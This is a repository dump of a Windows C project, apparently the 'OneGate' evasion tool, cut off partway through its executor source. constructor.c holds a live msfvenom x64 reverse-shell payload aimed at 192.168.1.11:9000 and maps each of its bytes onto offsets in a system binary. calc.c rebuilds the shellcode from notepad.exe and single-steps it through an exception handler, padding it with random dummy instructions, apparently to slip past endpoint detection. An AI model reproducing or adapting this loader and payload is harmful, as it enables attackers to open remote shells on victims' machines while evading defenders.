├── Constructor
├── Constructor.vcxproj
├── Constructor.vcxproj.filters
├── Constructor.vcxproj.user
└── constructor.c
├── Executor
├── Executor.vcxproj
├── Executor.vcxproj.filters
├── Executor.vcxproj.user
├── calc.c
└── rev.c
├── OneGate.sln
├── README.md
└── pictures
├── 2_JS188188658-1141921000.jpg
├── constructor.png
├── mde_dashboard.png
└── rev_shell_connect.png
/Constructor/Constructor.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {ac507b99-156f-4280-bc0b-77b4057a3624}
25 | Constructor
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/Constructor/Constructor.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Constructor/Constructor.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Constructor/constructor.c:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- //
10 | // Insert the payload generated by msfvenom into a const unsigned char Payload[] as per below
11 |
12 |
13 | //msfvenom -p windows/x64/exec CMD=calc.exe -f csharp
14 | //const unsigned char Payload[] = {
15 | // 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
16 | // 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
17 | // 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
18 | // 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
19 | // 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
20 | // 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
21 | // 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
22 | // 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
23 | // 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
24 | // 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
25 | // 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
26 | // 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
27 | // 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
28 | // 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
29 | // 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
30 | // 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
31 | // 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
32 | // 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
33 | // 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
34 | // 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
35 | // 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
36 | // 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
37 | // 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
38 | //};
39 |
40 | //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9000 -f csharp
41 | const unsigned char Payload[] = {
42 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
43 | 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
44 | 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
45 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
46 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
47 | 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
48 | 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
49 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
50 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
51 | 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
52 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
53 | 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
54 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
55 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
56 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
57 | 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
58 | 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
59 | 0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
60 | 0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
61 | 0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x23,0x28,
62 | 0xc0,0xa8,0x01,0x0b,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
63 | 0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
64 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
65 | 0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,
66 | 0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,
67 | 0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,
68 | 0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,
69 | 0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
70 | 0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,
71 | 0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,
72 | 0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d,
73 | 0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,
74 | 0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
75 | 0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,
76 | 0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,
77 | 0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,
78 | 0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,
79 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
80 | 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5
81 | };
82 |
83 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- //
84 |
85 | BOOL BinToBytes(IN PBYTE filePath, OUT SIZE_T* sFileSize, OUT PBYTE* buffer) {
86 |
87 | FILE* file = NULL;
88 | SIZE_T bytesRead = NULL; //for comparing to fileSize to ensure all bytes are read
89 | SIZE_T fileSize = NULL; //size of file being read
90 | PBYTE fileBuffer = NULL; //buffer to hold the bytes
91 |
92 | //open file
93 | file = fopen(filePath, "rb");
94 | if (!file) {
95 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError());
96 | return FALSE;
97 | }
98 |
99 | //get size of file
100 | fseek(file, 0, SEEK_END); //put file seeker at end of file
101 | fileSize = ftell(file); //ftell returns the current position of the seeker in bytes. As it is at the end it tells us the size of the file
102 | rewind(file); //put seeker back to the beginning in preparation for fread below
103 | printf("[i] The size of %s is: %zu bytes\n\n", filePath, fileSize);
104 |
105 | //write bytes to buffer
106 | fileBuffer = malloc(fileSize);
107 | bytesRead = fread(fileBuffer, 1, fileSize, file);
108 | if (bytesRead != fileSize) {
109 | printf("[!] Error reading bytes from file. fread returned error %d\n", GetLastError());
110 | fclose(file);
111 | free(buffer);
112 | return FALSE;
113 | }
114 |
115 | *sFileSize = fileSize;
116 | *buffer = fileBuffer;
117 |
118 | //cleanup
119 | if (file) {
120 | fclose(file);
121 | }
122 |
123 |
124 | return TRUE;
125 | }
126 |
127 | int main(int argc, char* argv[]) {
128 |
129 | if (argc < 2) {
130 | printf("\nUsage: constructor.exe [path to target file]\nExample: constructor.exe C:\\Windows\\System32\\ntdll.dll\n");
131 | return -1;
132 | }
133 |
134 | PBYTE bFilePath = argv[1]; //stores the path to the target file
135 | PBYTE bFileBuffer = NULL; //stores the bytes of the target file
136 | SIZE_T sFileSize = NULL; //size of target file
137 |
138 | //Get all the bytes of the target file
139 | BinToBytes(bFilePath, &sFileSize, &bFileBuffer);
140 |
141 | //for iterating through the Payload array. Keeps track of where we are in the payload array
142 | int payloadPosition = 0;
143 |
144 | //new array to store positions
145 | printf("[i] Size of msfvenom calc payload is: %d bytes\n\n", sizeof(Payload));
146 | unsigned int Position[sizeof(Payload)];
147 |
148 | //iterate through the bytes of the target program and compare them to the byte we want in the shellcode
149 | //payloadPosition keeps track of where we are in the payload array
150 | //i is reset to the beginning every time we successfully find a byte
151 | for (long i = 0; i < sFileSize; i++) {
152 |
153 | if (bFileBuffer[i] == Payload[payloadPosition] && payloadPosition < sizeof(Payload)) {
154 | Position[payloadPosition] = i;
155 | //uncomment this if you want to print the original payload bytes
156 | //printf("%02x (at %d)\n", bFileBuffer[i], i);
157 | printf("%02x ,", bFileBuffer[i]);
158 | payloadPosition++;
159 | i = 0;
160 | }
161 |
162 | }
163 |
164 | //error handling if it is not able to find a particular byte of the shellcode in the target program
165 | if (payloadPosition < sizeof(Payload)) {
166 | printf("\n\nUnable to find byte %02x in file %s\n", Payload[payloadPosition], bFilePath);
167 | return -1;
168 | }
169 |
170 | printf("\n\nconst unsigned int Positions[] = {\n\t");
171 |
172 | int count = 0;
173 |
174 | //print our array with the position of each byte in the target program
175 | for (int i = 0; i < (sizeof(Position) / sizeof(Position[0])); i++) {
176 |
177 | //make the printing pretty
178 | if (i == sizeof(Position) / sizeof(Position[0]) - 1) {
179 | printf("%d", Position[i]);
180 | continue;
181 | }
182 |
183 | if (i != 0 && i % 16 != 0) {
184 | printf("%d, ", Position[i]);
185 | continue;
186 | }
187 |
188 | if (i % 16 == 0) {
189 | printf("\n\t%d, ", Position[i]);
190 | continue;
191 | }
192 |
193 | count++;
194 | }
195 |
196 | printf("\n};\n\n");
197 |
198 | //Zydis stuff to determine number of instructions
199 | ZydisDisassembledInstruction instruction;
200 | ZyanUSize offset = 0;
201 |
202 | count = 0;
203 |
204 | printf("const unsigned int bytesPerLine[] = {\n");
205 | while (ZYAN_SUCCESS(ZydisDisassembleIntel(ZYDIS_MACHINE_MODE_LONG_64, NULL, Payload + offset, sizeof(Payload) - offset, &instruction))) {
206 | //while (ZYAN_SUCCESS(ZydisDisassembleIntel(ZYDIS_MACHINE_MODE_LONG_COMPAT_32, NULL, Payload + offset, sizeof(Payload) - offset, &instruction))) {
207 |
208 | //make the printing pretty
209 | if (count % 16 == 0) {
210 | printf("\n");
211 | printf("\t");
212 | }
213 |
214 | //print the number of bytes in the instruction
215 | printf("%d, ", instruction.info.length);
216 |
217 | count++;
218 |
219 | offset += instruction.info.length;
220 | }
221 | printf("\n};\n");
222 |
223 |
224 | return 0;
225 | }
226 |
--------------------------------------------------------------------------------
/Executor/Executor.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {e309ef7c-30d2-4f7d-b203-fa86a692e6c8}
25 | Executor
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 | true
132 |
133 |
134 | false
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/Executor/Executor.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
--------------------------------------------------------------------------------
/Executor/Executor.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Executor/calc.c:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 |
3 | #include
4 | #include
5 |
6 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- //
7 | // Insert the Position[] and the bytesPerLine[] generated by the constructor below
8 | // Make sure to point bFilePath to the same file used by the constructor
9 |
10 | PBYTE bFilePath = "C:\\Windows\\System32\\notepad.exe"; //the file the constructor used to build the arrays
11 |
12 | //msfvenom -p windows/x64/exec CMD=calc.exe built from notepad.exe
13 | const unsigned int Positions[] = {
14 |
15 | 2320, 1035, 1083, 1140, 276, 488, 296, 3, 3, 3, 1654, 2590, 1654, 256, 224, 2590,
16 | 2278, 1035, 2299, 1369, 99, 1035, 1033, 224, 350, 1035, 1033, 224, 476, 1035, 1033, 224,
17 | 82, 1035, 1033, 84, 256, 1035, 1355, 1582, 581, 581, 1500, 2299, 497, 1035, 2299, 296,
18 | 441, 2000, 88, 265, 281, 2837, 82, 1654, 351, 497, 117, 1654, 61, 351, 2458, 2347,
19 | 224, 1654, 2590, 1035, 1033, 224, 82, 1033, 799, 2000, 1035, 61, 401, 1033, 337, 568,
20 | 3, 3, 3, 1035, 1426, 296, 96, 86, 1035, 61, 401, 256, 1033, 1035, 476, 108,
21 | 1033, 24, 82, 1068, 61, 401, 5633, 2278, 1035, 12, 497, 1654, 1033, 1661, 568, 1035,
22 | 61, 148, 1500, 2299, 497, 1035, 2299, 296, 441, 1654, 351, 497, 117, 1654, 61, 351,
23 | 1674, 289, 102, 1111, 75, 4, 75, 120, 354, 257, 1438, 3008, 102, 264, 1134, 108,
24 | 1033, 24, 120, 1068, 61, 401, 473, 1654, 1033, 737, 1035, 108, 1033, 24, 1439, 1068,
25 | 61, 401, 1654, 1033, 8, 568, 1035, 61, 401, 1654, 1134, 1654, 1134, 3349, 2243, 1,
26 | 1654, 1134, 1654, 2243, 1654, 1, 1035, 1083, 156, 82, 1654, 224, 12, 289, 1134, 1654,
27 | 2243, 1, 1035, 1033, 657, 2119, 1045, 12, 12, 12, 1477, 1035, 66, 61, 3, 3,
28 | 3, 3, 3, 3, 3, 1035, 1100, 1100, 61, 61, 3, 3, 1654, 66, 2299, 1033,
29 | 85, 3767, 12, 4055, 2561, 289, 2029, 1310, 119, 1654, 66, 5742, 130, 5662, 1999, 12,
30 | 4055, 1035, 1083, 1051, 1570, 2000, 202, 265, 119, 337, 134, 289, 102, 1044, 2561, 2032,
31 | 129, 84, 85, 10386, 3, 2243, 1654, 1053, 1562, 12, 4055, 91, 88, 763, 91, 3
32 | };
33 |
34 | const unsigned int bytesPerLine[] = {
35 |
36 | 1, 4, 5, 2, 2, 1, 1, 1, 3, 5, 4, 4, 4, 5, 3, 3,
37 | 1, 2, 2, 2, 4, 3, 2, 1, 2, 4, 3, 3, 6, 3, 2, 3,
38 | 1, 3, 4, 3, 2, 3, 4, 3, 3, 3, 1, 4, 3, 2, 2, 5,
39 | 3, 2, 1, 4, 3, 5, 4, 3, 4, 3, 2, 2, 1, 1, 1, 2,
40 | 2, 2, 4, 2, 2, 1, 2, 1, 3, 5, 1, 10, 7, 6, 2, 5,
41 | 6, 2, 4, 2, 2, 3, 2, 5, 2, 1, 3, 2, 3, 2,
42 | };
43 |
44 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- //
45 |
46 | //extra bytes at the end of calc paylaod that need to be manually inserted
47 | const unsigned char second_last[] = { 0x63, 0x61, 0x6c };
48 | const unsigned char last[] = { 0x63, 0x00 };
49 |
50 | //array of instructions from which random instruction execution is pulled
51 | //Also used by writeMemoryBlock() function to fill memory block on first pass
52 | const unsigned char instruction[21][3] = {
53 | {0x48, 0x89, 0xD8},
54 | {0x48, 0xFF, 0xC0},
55 | {0x49, 0x89, 0xC4},
56 | {0x49, 0x39, 0xC4},
57 | {0x48, 0x31, 0xC0},
58 | {0x49, 0xFF, 0xCC},
59 | {0x49, 0xFF, 0xCC},
60 | {0x48, 0xFF, 0xC3},
61 | {0x48, 0xFF, 0xC8},
62 | {0x48, 0x01, 0xCB},
63 | {0x49, 0x29, 0xC9},
64 | {0x48, 0x39, 0xC3},
65 | {0x4D, 0x31, 0xD2},
66 | {0x48, 0x31, 0xC0},
67 | {0x48, 0xFF, 0xC1},
68 | {0x48, 0xFF, 0xC9},
69 | {0x4D, 0x31, 0xD2},
70 | {0x48, 0x39, 0xC3},
71 | {0x49, 0x01, 0xCC},
72 | {0x48, 0x01, 0xCB},
73 | {0x4D, 0x31, 0xD2}
74 | };
75 |
76 | DWORD64 bytesPerLineTracker = 0; //this keeps track of where we are in the bytesPerLine array
77 | DWORD64 payloadPosition = 0; //this is a tracker for where we are in the Payload Array
78 | int sizeOfBytesPerLine = (sizeof(bytesPerLine) / sizeof(bytesPerLine[0]));
79 |
80 | PVOID baseAddress = NULL; //base address of the payload
81 | DWORD64 upperBound = NULL; //the upper bound of the payload (end of allocated memory page)
82 | PVOID dummyAddress = NULL;
83 |
84 | BOOL FirstRun = TRUE; //used for the first time the VEH runs
85 |
86 | DWORD64 oldRIP = NULL; //position of the RIP on the previous instruction so it can zero out that memory
87 | DWORD64 nextRIP = NULL; //the RIP where the next valid instruction will be executed from
88 | DWORD64 currentRIP = NULL; //the RIP where the valid instruction was executed so that the dummy instruction can be executed from the same place
89 |
90 | CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL }; //saves the thread context so it can be resoted after dummy instructions
91 |
92 | PBYTE pBullshitBuffer = NULL; //used to store the bytes that are overwritten by the next instruction so they can be written back
93 | SIZE_T bytesInBullshitBuffer = 0; //stores the number of bytes to write back
94 | PBYTE pDummyWriteBuffer = NULL; //used to store the bytes that the dummy instruction generator overwrites so they can be written back
95 | int sizeDummyWriteBuffer = 0; //stores the number of bytes to write back
96 |
97 | BOOL doingDummy = FALSE; //this keeps track of whether we are in the process of doing a dummy instruction loop
98 | //so that it does not try and execute a dummy instruction loop in the middle of another
99 | //dummy instruction loop because this breaks the program
100 |
101 |
102 | BOOL CreateDummyCode() {
103 |
104 | PBYTE PayloadBuffer = malloc(sizeof(BYTE) * 16 * 20);
105 |
106 | //choose how many instructions we are going to use for the dummy code
107 | int numberOfInstructions = (rand() % 19) + 1;
108 | printf("Using %d instructions\n\n", numberOfInstructions);
109 | int tracker = 0;
110 |
111 | //choose the instructions
112 | for (int i = 0; i < numberOfInstructions; i++) {
113 | int chosenInstruction = (rand() % 19) + 1;
114 | printf("Chosen instruction number: %d\n", chosenInstruction);
115 | for (int j = 0; j < 3; j++) {
116 | PayloadBuffer[tracker] = instruction[chosenInstruction][j];
117 | printf("%02x \n", PayloadBuffer[tracker]);
118 | tracker++;
119 | }
120 | }
121 |
122 | //add INT3 breakpoint at the end
123 | PayloadBuffer[tracker] = 0xCC;
124 |
125 | //show the instructions
126 | printf("The chosen instructions are:\n");
127 | for (int j = 0; j < tracker + 1; j++) {
128 | printf("%02x, ", PayloadBuffer[j]);
129 | }
130 | printf("\n\n");
131 |
132 | //save what was originally there so it can be restored
133 | sizeDummyWriteBuffer = tracker + 1;
134 | pDummyWriteBuffer = malloc(sizeof(BYTE) * 16 * 20);
135 | memcpy(pDummyWriteBuffer, dummyAddress, sizeDummyWriteBuffer);
136 |
137 | //write new dummy instruction
138 | memcpy(dummyAddress, PayloadBuffer, tracker + 1);
139 | }
140 |
141 | //function to fill the allocated memory block with random instructions - used on the first pass only
142 | BOOL writeMemoryBlock(PVOID baseAddress) {
143 | DWORD64 writeOffset = 0;
144 |
145 | while (writeOffset < 4093) { //write offset is one whole memory block (4096 bytes) minus the size of one instruction (3 bytes)
146 | //choose a random instruction
147 | int chosenInstruction = (rand() % 19) + 1;
148 | memcpy((DWORD64)baseAddress + writeOffset, instruction[chosenInstruction], 3);
149 |
150 | writeOffset += 3;
151 | }
152 |
153 | }
154 |
155 | BOOL BytesToBin(int positionNumber, int numberOfInstructions, PBYTE* bPayloadBuffer) {
156 |
157 | PBYTE filePath = bFilePath;
158 |
159 | FILE* file = NULL;
160 | SIZE_T bytesRead = 0; //for comparing to fileSize to ensure all bytes are read
161 | SIZE_T fileSize = NULL; //size of file being read
162 | PBYTE PayloadBuffer = NULL; //buffer to hold the bytes - max 16 bytes in one instruction
163 |
164 | PayloadBuffer = malloc(sizeof(BYTE) * 16);
165 |
166 | //open file
167 | file = fopen(filePath, "rb");
168 | if (!file) {
169 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError());
170 | return FALSE;
171 | }
172 |
173 | //iterate through file and find the bytes in position number for the number of instructions required
174 | for (int i = 0; i < bytesPerLine[numberOfInstructions]; i++) {
175 | fseek(file, Positions[positionNumber + i], SEEK_SET);
176 | fread(&PayloadBuffer[i], sizeof(byte), 1, file);
177 | printf("%02x ", PayloadBuffer[i]);
178 | bytesRead++;
179 | }
180 | printf("\n");
181 |
182 | //make sure it read correctly
183 | if (bytesRead != bytesPerLine[numberOfInstructions]) {
184 | printf("[!] An error occurred reading the bytes: Error %d\n", GetLastError());
185 | fclose(file);
186 | return FALSE;
187 | }
188 |
189 | //cleanup
190 | if (file) {
191 | fclose(file);
192 | }
193 |
194 | *bPayloadBuffer = PayloadBuffer;
195 |
196 | printf("\n");
197 |
198 | return TRUE;
199 | }
200 |
201 | LONG CALLBACK BreakpointHandler(PEXCEPTION_POINTERS ExceptionInfo) {
202 |
203 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
204 |
205 | if (FirstRun == TRUE) {
206 | //they should already be 0 but just double checking
207 | bytesPerLineTracker = 0;
208 | payloadPosition = 0;
209 |
210 | //write the extra bytes at the end of calc paylaod that need to be manually inserted
211 | memcpy((DWORD64)baseAddress + 0x10B, second_last, 3);
212 | memcpy((DWORD64)baseAddress + 0x10E, last, 2);
213 |
214 | FirstRun = FALSE;
215 | }
216 |
217 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
218 | printf("\nGot an exception violation error :(\nRun the program again\n");
219 | //return EXCEPTION_CONTINUE_EXECUTION;
220 | return EXCEPTION_CONTINUE_SEARCH;
221 | }
222 |
223 | //used to deal with the end of the execution of dummy instructions
224 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
225 |
226 | //set the CONTEXT back to where it is supposed to be to continue shellcode execution
227 | memcpy(ExceptionInfo->ContextRecord, &ctx, sizeof(CONTEXT));
228 |
229 | printf("The RIP is now back at: %p\n", ExceptionInfo->ContextRecord->Rip);
230 | printf("Continuing shellcode exection\n");
231 |
232 | //zero out dummy memory
233 | memcpy(dummyAddress, pDummyWriteBuffer, sizeDummyWriteBuffer);
234 |
235 | //dummy instruction loop complete
236 | doingDummy = FALSE;
237 |
238 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
239 |
240 | return EXCEPTION_CONTINUE_EXECUTION;
241 | }
242 |
243 | //if we are executing a dummy instruction ignore the single stepping and move on - the end of the dummy instruction is signlled by an INT3
244 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == TRUE) {
245 | return EXCEPTION_CONTINUE_EXECUTION;
246 | }
247 |
248 |
249 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == FALSE) {
250 |
251 | //single step execution is disabled each run so reset it
252 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
253 |
254 | //if the exception occurs outside our shellcode space do nothing
